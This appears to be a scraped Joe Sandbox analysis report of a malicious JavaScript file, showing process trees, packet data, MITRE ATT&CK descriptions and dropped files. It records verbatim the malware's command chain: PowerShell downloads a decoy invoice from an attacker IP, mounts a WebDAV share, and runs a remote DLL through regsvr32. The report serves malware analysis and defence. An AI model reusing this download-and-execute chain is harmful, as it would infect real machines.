Jan 15, 2025 20:42:02.485326052 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 15, 2025 20:42:02.485358953 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 15, 2025 20:42:02.485393047 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 15, 2025 20:42:02.485425949 CET	556	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 15, 2025 20:42:02.544715881 CET	1236	IN	Data Raw: 69 2c 34 35 a0 b4 1d 57 97 d0 bf fe f5 af 7f 71 52 15 f5 3d 34 b5 98 dc 70 e8 61 eb a8 97 fe ab 2f a1 52 a9 72 cb 4b ff e9 98 15 a6 85 1e a4 17 75 86 6b 7b f5 b0 6a 1a 76 cb c5 a9 f2 25 f9 ab 5a a8 d2 9a 7c a6 47 56 75 3b cb ed 3d d6 97 97 db f8 Data Ascii: i,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5676	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 20:42:04.591137886 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 15, 2025 20:42:05.413424969 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 19:42:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:41:58
Start date:	15/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js"
Imagebase:	0x7ff68aa80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:41:58
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll
Imagebase:	0x7ff622270000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:41:58
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:41:58
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:42:03
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:42:03
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff622270000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:42:03
Start date:	15/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff620a00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:42:04
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:42:04
Start date:	15/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:42:04
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1588,i,10440249036511766134,9373202045153823086,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1647911459241874440.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6f698d8c-43f4-4c16-85a5-35b621941830.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1647911459241874440.js